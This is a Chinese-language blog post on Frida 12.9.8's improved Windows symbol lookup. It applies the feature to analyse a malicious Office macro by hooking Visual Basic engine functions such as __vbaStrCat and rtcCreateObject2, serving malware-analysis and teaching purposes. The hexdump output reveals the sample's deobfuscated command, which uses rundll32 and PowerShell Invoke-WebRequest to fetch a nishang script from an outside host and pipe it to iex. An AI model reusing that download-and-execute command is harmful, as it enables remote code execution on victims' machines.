Frida由于使用JavaScript语言安装钩子的便利性而在最近变得越来越流行。我看到许多研究都将Frida用于移动平台,但最近Windows似乎在使用方面有了更多的吸引力。在DarunGrim,我们正在研究安全研究人员可以用于日常工作的新方法。Frida是我们认为可用于Windows逆向工程的工具之一。但是,在我们的测试过程中,我们发现符号查找功能是该工具广泛使用的限制因素。我们进行了改进,现在Frida 12.9.8中可以使用它。我们非常感谢OleAndréVadlaRavnås在合并变更方面的帮助。
我们将简要介绍一下所做的更改,并说明如何在现实世界中解决问题时使用改进的符号查找功能。
0x01 对Frida 12.9.8 的改进
Frida使用dbghelp.dll API在Windows平台中查找符号。但是它缺少符号服务器支持。我们增加了对符号服务器的支持,并改进了Windows中传递符号字符串的方式。在较旧的Frida实现中,查找每个符号花费了一些时间,因为它使用通配符模块名称查找任何符号。现在,你可以指定模块名称以加快符号查找的速度。
新的Frida将随symsrv.dll和dbghelp.dll一起提供,以支持包括Microsoft符号服务器在内的符号服务器。
这些是我们在Ole的帮助下所做的更改。
· Add load_symbols() and improve the DbgHelp backend
· Migrate agent to new DbgHelp layout on Windows
0x02 分析office的恶意宏
使用改进的Frida对一个Office Macro恶意软件进行分析,我们希望将其应用到Frida中进行深度分析。
代码注入
下图显示了Frida通常如何安装hook并从已安装的hook中获取消息。
此过程中涉及frida,session,脚本对象,以管理hook安装。hook回调是用JavaScript编写的。
以下代码显示了如何使用这些对象来安装分配给self.script_text变量的JavaScript hook代码以使用process_id变量进行处理的示例。
https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/code.py import os import sys import frida import process class Instrumenter: def __init__(self, script_text): self.sessions = [] self.script_text = script_text self._device = frida.get_local_device() self._device.on("child-added", self._on_child_added) self._device.on("child-removed", self._on_child_removed) self._device.on("output", self._on_output) def __del__(self): for session in self.sessions: session.detach() def run(self, process_name): proc = process.Runner(process_name, suspended = True) if not proc.create(): return process_id = proc.get_id() self.instrument(process_id) if proc: proc.resume() def instrument(self, process_id): session = frida.attach(process_id) self.sessions.append(session) session.enable_child_gating() script = session.create_script(self.script_text) script.on('message', self.on_message) script.load() def on_message(self, message, data): print("[%s] => %s" % (message, data)) def _on_child_added(self, child): print("⚡ new child: {}".format(child)) self.instrument(child.pid) def _on_child_removed(self, child): print("⚡ child terminated: {}".format(child)) def _on_output(self, pid, fd, data): print("⚡ output: pid={}, fd={}, data={}".format(pid, fd, repr(data)))
符号查找:resolveName
Frida JavaScript API在API文档中有很好的描述。
使用Frida进行hook的第一步是找到目标函数。
如果函数已导出,则只需使用导出的函数名和DLL名称调用Module.findExportByName方法。
Module.findExportByName(dllName, name)
但是,如果该函数未导出并且仅记录在例如PDB符号文件中,则可以调用DebugSymbol.getFunctionByName方法。使用Frida 12.9.8,你可以传递“ DLLName!FunctionName”符号,以在指定特定功能时提高准确性,并在定位它们时获得更好的性能。
有时,为模块加载符号可能很慢,因为它可能来自远程符号服务器。因此,你需要调用DebugSymbol.load方法来启动符号的加载,以便我们加载最少数量的符号。
下面是一个示例代码,该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存其发现,以删除所有重复的信息。如果你要hook大量函数,则可以节省整个符号查找时间。
https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js var loadedModules = {} var resolvedAddresses = {} function resolveName(dllName, name) { var moduleName = dllName.split('.')[0] var functionName = moduleName + "!" + name if (functionName in resolvedAddresses) { return resolvedAddresses[functionName] } log("resolveName " + functionName); log("Module.findExportByName " + dllName + " " + name); var addr = Module.findExportByName(dllName, name) if (!addr || addr.isNull()) { if (!(dllName in loadedModules)) { log(" DebugSymbol.loadModule " + dllName); try { DebugSymbol.load(dllName) } catch (err) { return 0; } log(" DebugSymbol.load finished"); loadedModules[dllName] = 1 } try { log(" DebugSymbol.getFunctionByName: " + functionName); addr = DebugSymbol.getFunctionByName(moduleName + '!' + name) log(" DebugSymbol.getFunctionByName: addr = " + addr); } catch (err) { log(" DebugSymbol.getFunctionByName: Exception") } } resolvedAddresses[functionName] = addr return addr } function loadModuleForAddress(address) { var modules = Process.enumerateModules() var i for (i = 0; i < modules.length; i++) { if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) { log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path) var modName = modules[i].path if (!(modName in loadedModules)) { log(" DebugSymbol.loadModule " + modName); try { DebugSymbol.load(modName) } catch (err) { return 0; } loadedModules[modName] = 1 } break } } } var hookedFunctions = {} var addressToFunctions = {} var blackListedFunctions = { 'I_RpcClearMutex': 1 } function hookFunction(dllName, funcName, callback) { if (funcName in blackListedFunctions) { return } var symbolName = dllName + "!" + funcName if (symbolName in hookedFunctions) { return } hookedFunctions[symbolName] = 1 var addr = resolveName(dllName, funcName) if (!addr || addr.isNull()) { return } if (addr in hookedFunctions) { return } hookedFunctions[addr] = 1 addressToFunctions[addr] = symbolName log('Interceptor.attach: ' + symbolName + '@' + addr); Interceptor.attach(addr, callback) } function hookPointers(address, count) { if (address.isNull()) return var currentAddress = address for (var i = 0; i < count; i++) { var readAddress = ptr(currentAddress).readPointer(); readAddress = ptr(readAddress) var symbolInformation = DebugSymbol.fromAddress(readAddress) var name = readAddress if (symbolInformation && symbolInformation.name) { name = symbolInformation.name } log('Hooking ' + readAddress + ": " + name) try { Interceptor.attach(readAddress, { onEnter: function (args) { log('[+] ' + name) } }) } catch (err) {} currentAddress = currentAddress.add(4) } } function hookFunctionNames(moduleName, funcNames) { for (var i = 0; i < funcNames.length; i++) { var funcName = funcNames[i] try { hookFunction(moduleName, funcName, { onEnter: function (args) { var name = '' if (this.context.pc in addressToFunctions) { name = addressToFunctions[this.context.pc] } log("[+] " + name + " (" + this.context.pc + ")") } }) } catch (err) { log("Failed to hook " + funcName) } } } function BytesToCLSID(address) { if (address.isNull()) return var data = new Uint8Array(ptr(address).readByteArray(0x10)) var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0]) clsid += '-' + getHexString(data[5]) + getHexString(data[4]) clsid += '-' + getHexString(data[7]) + getHexString(data[6]) clsid += '-' + getHexString(data[8]) + getHexString(data[9]) clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15]) clsid += '}' return clsid } function log(message) { console.log(message) } function dumpAddress(address) { log('[+] address: ' + address); if (address.isNull()) return var data = ptr(address).readByteArray(50); log(hexdump(data, { offset: 0, length: 50, header: true, ansi: false })); } function dumpBytes(address, length) { if (address.isNull()) return var data = ptr(address).readByteArray(length); log(hexdump(data, { offset: 0, length: length, header: true, ansi: false })); } function dumpSymbols(address, count) { if (address.isNull()) return var currentAddress = address for (var i = 0; i < count; i++) { var readAddress = ptr(currentAddress).readPointer(); readAddress = ptr(readAddress) var symbolInformation = DebugSymbol.fromAddress(readAddress) if (symbolInformation && symbolInformation.name) { log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name) } else { log(currentAddress + ":\t" + readAddress) } currentAddress = currentAddress.add(4) } } function dumpBSTR(address) { log('[+] address: ' + address); if (address.isNull()) return var length = ptr(address - 4).readULong(4); log("length: " + length) var data = ptr(address).readByteArray(length); log(hexdump(data, { offset: 0, length: length, header: true, ansi: false })); } function getString(address) { if (address.isNull()) return var dataString = '' var offset = 0 var stringEnded = false while (!stringEnded) { var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10)); if (data.length <= 0) { break } var i; for (i = 0; i < data.length; i++) { if (data[i] == 0x0) { stringEnded = true break } dataString += String.fromCharCode(data[i]) } offset += data.length } log("dataString: " + dataString) return dataString; } function dumpWSTR(address) { if (address.isNull()) return var dataString = '' var offset = 0 var stringEnded = false while (!stringEnded) { var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20)); if (data.length <= 0) { break } var i; for (i = 0; i < data.length; i += 2) { if (data[i] == 0x0 && data[i + 1] == 0x0) { stringEnded = true break } dataString += String.fromCharCode(data[i]) } offset += data.length } log("dataString: " + dataString) return dataString; } function hookRtcShell(moduleName) { hookFunction(moduleName, "rtcShell", { onEnter: function (args) { log("[+] rtcShell") var variantArg = ptr(args[0]) dumpAddress(variantArg); var bstrPtr = ptr(variantArg.add(8).readULong()) dumpBSTR(bstrPtr); } }) } function hookVBAStrCat(moduleName) { hookFunction(moduleName, "__vbaStrCat", { onEnter: function (args) { log("[+] __vbaStrCat") // log('[+] ' + name); // dumpBSTR(args[0]); // dumpBSTR(args[1]); }, onLeave: function (retval) { dumpBSTR(retval); } }) } function hookVBAStrComp(moduleName) { hookFunction(moduleName, "__vbaStrComp", { onEnter: function (args) { log('[+] __vbaStrComp'); log(ptr(args[1]).readUtf16String()) log(ptr(args[2]).readUtf16String()) } }) } function hookRtcCreateObject(moduleName) { hookFunction(moduleName, "rtcCreateObject", { onEnter: function (args) { log('[+] rtcCreateObject'); dumpAddress(args[0]); dumpBSTR(args[0]); log(ptr(args[0]).readUtf16String()) }, onLeave: function (retval) { dumpAddress(retval); } }) } function hookRtcCreateObject2(moduleName) { hookFunction(moduleName, "rtcCreateObject2", { onEnter: function (args) { log('[+] rtcCreateObject2'); dumpAddress(args[0]); dumpBSTR(args[1]); log(ptr(args[2]).readUtf16String()) }, onLeave: function (retval) { dumpAddress(retval); } }) } // int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *) function hookCVbeProcsCallMacro(moduleName) { hookFunction(moduleName, "CVbeProcs::CallMacro", { onEnter: function (args) { log('[+] CVbeProcs::CallMacro'); dumpAddress(args[0]); dumpWSTR(args[1]); }, onLeave: function (retval) { dumpAddress(retval); } }) } function hookDispCall(moduleName) { hookFunction(moduleName, "DispCallFunc", { onEnter: function (args) { log("[+] DispCallFunc") var pvInstance = args[0] var oVft = args[1] var instance = ptr(ptr(pvInstance).readULong()); log(' instance:' + instance); log(' oVft:' + oVft); var vftbPtr = instance.add(oVft) log(' vftbPtr:' + vftbPtr); var functionAddress = ptr(ptr(vftbPtr).readULong()) loadModuleForAddress(functionAddress) var functionName = DebugSymbol.fromAddress(functionAddress) if (functionName) { log(' functionName:' + functionName); } dumpAddress(functionAddress); var currentAddress = functionAddress for (var i = 0; i < 10; i++) { try { var instruction = Instruction.parse(currentAddress) log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr) currentAddress = instruction.next } catch (err) { break } } } }) } hookRtcShell('vbe7') hookVBAStrCat('vbe7') hookVBAStrComp('vbe7') hookRtcCreateObject('vbe7') hookRtcCreateObject2('vbe7') hookCVbeProcsCallMacro('vbe7') hookDispCall('oleaut32')
设置符号路径
在Windows环境下设置符号服务器有多种方法,建议你从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/symbol-path
以下将使用“ c:\ symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。
setx _NT_SYMBOL_PATH SRV*c:\symbols*https://msdl.microsoft.com/download/symbols
以下命令将使系统使用默认的符号存储目录。
setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols
运行恶意软件并观察行为
我们使用以下示例测试Frida的符号查找功能。恶意样本做了一些混淆,可以使用Frida hook轻松分析。
我们在此处提供的代码可从以下GitHub存储库中找到。
https://github.com/ohjeongwook/Frida.examples.vbe var loadedModules = {} var resolvedAddresses = {} function resolveName(dllName, name) { var moduleName = dllName.split('.')[0] var functionName = moduleName + "!" + name if (functionName in resolvedAddresses) { return resolvedAddresses[functionName] } log("resolveName " + functionName); log("Module.findExportByName " + dllName + " " + name); var addr = Module.findExportByName(dllName, name) if (!addr || addr.isNull()) { if (!(dllName in loadedModules)) { log(" DebugSymbol.loadModule " + dllName); try { DebugSymbol.load(dllName) } catch (err) { return 0; } log(" DebugSymbol.load finished"); loadedModules[dllName] = 1 } try { log(" DebugSymbol.getFunctionByName: " + functionName); addr = DebugSymbol.getFunctionByName(moduleName + '!' + name) log(" DebugSymbol.getFunctionByName: addr = " + addr); } catch (err) { log(" DebugSymbol.getFunctionByName: Exception") } } resolvedAddresses[functionName] = addr return addr }
因此,当你启动Word进程且进程ID为3064时,可以使用以下命令从存储库中包含的vbe.js安装hook。安装hook之后,你可以打开恶意文档以观察其行为。
> python inject.py -p 3064 vbe.js resolveName vbe7!rtcShell Module.findExportByName vbe7 rtcShell Interceptor.attach: vbe7!rtcShell@0x652a2b76 resolveName vbe7!__vbaStrCat Module.findExportByName vbe7 __vbaStrCat DebugSymbol.loadModule vbe7 DebugSymbol.load finished DebugSymbol.getFunctionByName: vbe7!__vbaStrCat DebugSymbol.getFunctionByName: addr = 0x651e53e6 Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6 resolveName vbe7!__vbaStrComp Module.findExportByName vbe7 __vbaStrComp DebugSymbol.getFunctionByName: vbe7!__vbaStrComp DebugSymbol.getFunctionByName: addr = 0x651e56a2 Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2 resolveName vbe7!rtcCreateObject Module.findExportByName vbe7 rtcCreateObject Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c resolveName vbe7!rtcCreateObject2 Module.findExportByName vbe7 rtcCreateObject2 Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece resolveName vbe7!CVbeProcs::CallMacro Module.findExportByName vbe7 CVbeProcs::CallMacro DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro DebugSymbol.getFunctionByName: addr = 0x6529019b Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b resolveName oleaut32!DispCallFunc Module.findExportByName oleaut32 DispCallFunc Interceptor.attach: oleaut32!DispCallFunc@0x747995b0 [!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.
hook监控office的宏行为
vbe.js很少有hook来监视恶意Office文档的行为。
__vbaStrCat
vbe7.dll是已找到Visual Basic运行时引擎的DLL,里面有很多有趣的函数。但是首先,我们想观察字符串去混淆操作
vbe7!__ vbaStrCat是在Visual Basic中串联字符串时调用的函数。
.text:651E53E6 ; __stdcall __vbaStrCat(x, x) .text:651E53E6 ___vbaStrCat@8 proc near ; CODE XREF: _lblEX_ConcatStr↑p
许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串的动作,你可以观察最终的去混淆字符串的构造。
以下hook代码将为每个调用打印出连接的字符串。
https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js var loadedModules = {} var resolvedAddresses = {} function resolveName(dllName, name) { var moduleName = dllName.split('.')[0] var functionName = moduleName + "!" + name if (functionName in resolvedAddresses) { return resolvedAddresses[functionName] } log("resolveName " + functionName); log("Module.findExportByName " + dllName + " " + name); var addr = Module.findExportByName(dllName, name) if (!addr || addr.isNull()) { if (!(dllName in loadedModules)) { log(" DebugSymbol.loadModule " + dllName); try { DebugSymbol.load(dllName) } catch (err) { return 0; } log(" DebugSymbol.load finished"); loadedModules[dllName] = 1 } try { log(" DebugSymbol.getFunctionByName: " + functionName); addr = DebugSymbol.getFunctionByName(moduleName + '!' + name) log(" DebugSymbol.getFunctionByName: addr = " + addr); } catch (err) { log(" DebugSymbol.getFunctionByName: Exception") } } resolvedAddresses[functionName] = addr return addr } function loadModuleForAddress(address) { var modules = Process.enumerateModules() var i for (i = 0; i < modules.length; i++) { if (address >= modules[i].base && address <= modules[i].base.add(modules[i].size)) { log(" " + modules[i].name + ": " + modules[i].base + " " + modules[i].size + " " + modules[i].path) var modName = modules[i].path if (!(modName in loadedModules)) { log(" DebugSymbol.loadModule " + modName); try { DebugSymbol.load(modName) } catch (err) { return 0; } loadedModules[modName] = 1 } break } } } var hookedFunctions = {} var addressToFunctions = {} var blackListedFunctions = { 'I_RpcClearMutex': 1 } function hookFunction(dllName, funcName, callback) { if (funcName in blackListedFunctions) { return } var symbolName = dllName + "!" + funcName if (symbolName in hookedFunctions) { return } hookedFunctions[symbolName] = 1 var addr = resolveName(dllName, funcName) if (!addr || addr.isNull()) { return } if (addr in hookedFunctions) { return } hookedFunctions[addr] = 1 addressToFunctions[addr] = symbolName log('Interceptor.attach: ' + symbolName + '@' + addr); Interceptor.attach(addr, callback) } function hookPointers(address, count) { if (address.isNull()) return var currentAddress = address for (var i = 0; i < count; i++) { var readAddress = ptr(currentAddress).readPointer(); readAddress = ptr(readAddress) var symbolInformation = DebugSymbol.fromAddress(readAddress) var name = readAddress if (symbolInformation && symbolInformation.name) { name = symbolInformation.name } log('Hooking ' + readAddress + ": " + name) try { Interceptor.attach(readAddress, { onEnter: function (args) { log('[+] ' + name) } }) } catch (err) {} currentAddress = currentAddress.add(4) } } function hookFunctionNames(moduleName, funcNames) { for (var i = 0; i < funcNames.length; i++) { var funcName = funcNames[i] try { hookFunction(moduleName, funcName, { onEnter: function (args) { var name = '' if (this.context.pc in addressToFunctions) { name = addressToFunctions[this.context.pc] } log("[+] " + name + " (" + this.context.pc + ")") } }) } catch (err) { log("Failed to hook " + funcName) } } } function BytesToCLSID(address) { if (address.isNull()) return var data = new Uint8Array(ptr(address).readByteArray(0x10)) var clsid = "{" + getHexString(data[3]) + getHexString(data[2]) + getHexString(data[1]) + getHexString(data[0]) clsid += '-' + getHexString(data[5]) + getHexString(data[4]) clsid += '-' + getHexString(data[7]) + getHexString(data[6]) clsid += '-' + getHexString(data[8]) + getHexString(data[9]) clsid += '-' + getHexString(data[10]) + getHexString(data[11]) + getHexString(data[12]) + getHexString(data[13]) + getHexString(data[14]) + getHexString(data[15]) clsid += '}' return clsid } function log(message) { console.log(message) } function dumpAddress(address) { log('[+] address: ' + address); if (address.isNull()) return var data = ptr(address).readByteArray(50); log(hexdump(data, { offset: 0, length: 50, header: true, ansi: false })); } function dumpBytes(address, length) { if (address.isNull()) return var data = ptr(address).readByteArray(length); log(hexdump(data, { offset: 0, length: length, header: true, ansi: false })); } function dumpSymbols(address, count) { if (address.isNull()) return var currentAddress = address for (var i = 0; i < count; i++) { var readAddress = ptr(currentAddress).readPointer(); readAddress = ptr(readAddress) var symbolInformation = DebugSymbol.fromAddress(readAddress) if (symbolInformation && symbolInformation.name) { log(currentAddress + ":\t" + readAddress + " " + symbolInformation.name) } else { log(currentAddress + ":\t" + readAddress) } currentAddress = currentAddress.add(4) } } function dumpBSTR(address) { log('[+] address: ' + address); if (address.isNull()) return var length = ptr(address - 4).readULong(4); log("length: " + length) var data = ptr(address).readByteArray(length); log(hexdump(data, { offset: 0, length: length, header: true, ansi: false })); } function getString(address) { if (address.isNull()) return var dataString = '' var offset = 0 var stringEnded = false while (!stringEnded) { var data = new Uint8Array(ptr(address.add(offset)).readByteArray(10)); if (data.length <= 0) { break } var i; for (i = 0; i < data.length; i++) { if (data[i] == 0x0) { stringEnded = true break } dataString += String.fromCharCode(data[i]) } offset += data.length } log("dataString: " + dataString) return dataString; } function dumpWSTR(address) { if (address.isNull()) return var dataString = '' var offset = 0 var stringEnded = false while (!stringEnded) { var data = new Uint8Array(ptr(address.add(offset)).readByteArray(20)); if (data.length <= 0) { break } var i; for (i = 0; i < data.length; i += 2) { if (data[i] == 0x0 && data[i + 1] == 0x0) { stringEnded = true break } dataString += String.fromCharCode(data[i]) } offset += data.length } log("dataString: " + dataString) return dataString; } function hookRtcShell(moduleName) { hookFunction(moduleName, "rtcShell", { onEnter: function (args) { log("[+] rtcShell") var variantArg = ptr(args[0]) dumpAddress(variantArg); var bstrPtr = ptr(variantArg.add(8).readULong()) dumpBSTR(bstrPtr); } }) } function hookVBAStrCat(moduleName) { hookFunction(moduleName, "__vbaStrCat", { onEnter: function (args) { log("[+] __vbaStrCat") // log('[+] ' + name); // dumpBSTR(args[0]); // dumpBSTR(args[1]); }, onLeave: function (retval) { dumpBSTR(retval); } }) } function hookVBAStrComp(moduleName) { hookFunction(moduleName, "__vbaStrComp", { onEnter: function (args) { log('[+] __vbaStrComp'); log(ptr(args[1]).readUtf16String()) log(ptr(args[2]).readUtf16String()) } }) } function hookRtcCreateObject(moduleName) { hookFunction(moduleName, "rtcCreateObject", { onEnter: function (args) { log('[+] rtcCreateObject'); dumpAddress(args[0]); dumpBSTR(args[0]); log(ptr(args[0]).readUtf16String()) }, onLeave: function (retval) { dumpAddress(retval); } }) } function hookRtcCreateObject2(moduleName) { hookFunction(moduleName, "rtcCreateObject2", { onEnter: function (args) { log('[+] rtcCreateObject2'); dumpAddress(args[0]); dumpBSTR(args[1]); log(ptr(args[2]).readUtf16String()) }, onLeave: function (retval) { dumpAddress(retval); } }) } // int __stdcall CVbeProcs::CallMacro(CVbeProcs *this, const wchar_t *) function hookCVbeProcsCallMacro(moduleName) { hookFunction(moduleName, "CVbeProcs::CallMacro", { onEnter: function (args) { log('[+] CVbeProcs::CallMacro'); dumpAddress(args[0]); dumpWSTR(args[1]); }, onLeave: function (retval) { dumpAddress(retval); } }) } function hookDispCall(moduleName) { hookFunction(moduleName, "DispCallFunc", { onEnter: function (args) { log("[+] DispCallFunc") var pvInstance = args[0] var oVft = args[1] var instance = ptr(ptr(pvInstance).readULong()); log(' instance:' + instance); log(' oVft:' + oVft); var vftbPtr = instance.add(oVft) log(' vftbPtr:' + vftbPtr); var functionAddress = ptr(ptr(vftbPtr).readULong()) loadModuleForAddress(functionAddress) var functionName = DebugSymbol.fromAddress(functionAddress) if (functionName) { log(' functionName:' + functionName); } dumpAddress(functionAddress); var currentAddress = functionAddress for (var i = 0; i < 10; i++) { try { var instruction = Instruction.parse(currentAddress) log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr) currentAddress = instruction.next } catch (err) { break } } } }) } hookRtcShell('vbe7') hookVBAStrCat('vbe7') hookVBAStrComp('vbe7') hookRtcCreateObject('vbe7') hookRtcCreateObject2('vbe7') hookCVbeProcsCallMacro('vbe7') hookDispCall('oleaut32')
这是一个示例输出,显示了最终的去混淆字符串。
[+] __vbaStrCat [+] address: 0x2405009c length: 328 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o. 00000010 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 w.s.\.S.y.s.t.e. 00000020 6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00 m.3.2.\.r.u.n.d. 00000030 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 l.l.3.2...e.x.e. 00000040 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 .C.:.\.U.s.e.r. 00000050 73 00 5c 00 74 00 65 00 73 00 74 00 65 00 72 00 s.\.t.e.s.t.e.r. 00000060 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 \.A.p.p.D.a.t.a. 00000070 5c 00 4c 00 6f 00 63 00 61 00 6c 00 5c 00 54 00 \.L.o.c.a.l.\.T. 00000080 65 00 6d 00 70 00 5c 00 70 00 6f 00 77 00 65 00 e.m.p.\.p.o.w.e. 00000090 72 00 73 00 68 00 64 00 6c 00 6c 00 2e 00 64 00 r.s.h.d.l.l...d. 000000a0 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 l.l.,.m.a.i.n. . 000000b0 2e 00 20 00 7b 00 20 00 49 00 6e 00 76 00 6f 00 .. .{. .I.n.v.o. 000000c0 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 k.e.-.W.e.b.R.e. 000000d0 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 q.u.e.s.t. .-.u. 000000e0 73 00 65 00 62 00 20 00 68 00 74 00 74 00 70 00 s.e.b. .h.t.t.p. 000000f0 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 31 00 :././.1.9.2...1. 00000100 36 00 38 00 2e 00 31 00 30 00 2e 00 31 00 30 00 6.8...1.0...1.0. 00000110 30 00 3a 00 38 00 30 00 38 00 30 00 2f 00 6e 00 0.:.8.0.8.0./.n. 00000120 69 00 73 00 68 00 61 00 6e 00 67 00 2e 00 70 00 i.s.h.a.n.g...p. 00000130 73 00 31 00 20 00 7d 00 20 00 5e 00 7c 00 20 00 s.1. .}. .^.|. . 00000140 69 00 65 00 78 00 3b 00 i.e.x.;.
这是另一个示例,显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。
[+] __vbaStrCat [+] address: 0x23fa653c length: 14 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 i.p.t...S.h.e. [+] __vbaStrCat [+] address: 0x188e2624 length: 8 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 26 00 48 00 36 00 63 00 &.H.6.c. [+] __vbaStrCat [+] address: 0xe5b82a4 length: 16 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 i.p.t...S.h.e.l. [+] __vbaStrCat [+] address: 0x23fa6e24 length: 8 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 26 00 48 00 36 00 63 00 &.H.6.c. [+] __vbaStrCat [+] address: 0x23fa6a8c length: 18 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 69 00 70 00 74 00 2e 00 53 00 68 00 65 00 6c 00 i.p.t...S.h.e.l. 00000010 6c 00 l. [+] __vbaStrCat [+] address: 0xe5b82a4 length: 26 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 W.S.c.r.i.p.t... 00000010 53 00 68 00 65 00 6c 00 6c 00 S.h.e.l.l.
rtcCreateObject2
恶意宏显示的许多行为之一是创建对象来执行系统操作,执行此操作的函数是rtcCreateObject2。
.text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2) .text:653E6ECE public _rtcCreateObject2@8 .text:653E6ECE _rtcCreateObject2@8 proc near ; DATA XREF: .text:off_651D379C↑o
在VB引擎中创建新对象时,将调用rtcCreateObject2函数。
以下hook监视args [2]参数(wchar_t * Str2),该参数包含它创建的对象名称。
https://github.com/ohjeongwook/Frida.examples.vbe/blob/master/vbe.js function hookRtcCreateObject2(moduleName) { hookFunction(moduleName, "rtcCreateObject2", { onEnter: function (args) { log('[+] rtcCreateObject2'); dumpAddress(args[0]); dumpBSTR(args[1]); log(ptr(args[2]).readUtf16String()) }, onLeave: function (retval) { dumpAddress(retval); } }) }
示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令,我们可以预期该脚本将运行外部恶意命令。
[+] rtcCreateObject2 [+] address: 0xef66dc 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010 a4 82 5b 0e 8c 6a fa 23 74 85 5b 0e 8c 67 ef 00 ..[..j.#t.[..g.. 00000020 fa 17 be 1b 8c 67 ef 00 d0 6a 2e 75 e0 f1 c0 0c .....g...j.u.... 00000030 60 91 `. [+] address: 0xe5b82a4 length: 26 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 W.S.c.r.i.p.t... 00000010 53 00 68 00 65 00 6c 00 6c 00 S.h.e.l.l.
0x03 DispCallFunc 函数
有趣的API之一是DispCallFunc函数,此函数用于调用COM方法,通过监视此API,我们可以更好地了解恶意软件正在试图做什么。
该函数的原型如下所示。
HRESULT DispCallFunc( void *pvInstance, ULONG_PTR oVft, CALLCONV cc, VARTYPE vtReturn, UINT cActuals, VARTYPE *prgvt, VARIANTARG **prgpvarg, VARIANT *pvargResult );
第一个参数pvInstance具有指向COM实例的指针,第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算,你可以找到COM调用最终将调用的函数。
以下是此函数的钩子,该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API,在这种情况下,它确实非常有用。
function hookDispCall(moduleName) { hookFunction(moduleName, "DispCallFunc", { onEnter: function (args) { log("[+] DispCallFunc") var pvInstance = args[0] var oVft = args[1] var instance = ptr(ptr(pvInstance).readULong()); log(' instance:' + instance); log(' oVft:' + oVft); var vftbPtr = instance.add(oVft) log(' vftbPtr:' + vftbPtr); var functionAddress = ptr(ptr(vftbPtr).readULong()) loadModuleForAddress(functionAddress) var functionName = DebugSymbol.fromAddress(functionAddress) if (functionName) { log(' functionName:' + functionName); } dumpAddress(functionAddress); var currentAddress = functionAddress for (var i = 0; i < 10; i++) { try { var instruction = Instruction.parse(currentAddress) log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr) currentAddress = instruction.next } catch (err) { break } } } }) }
下面显示了示例输出,该输出显示了对wshom.ocx!CWshShell :: Run的COM方法调用。
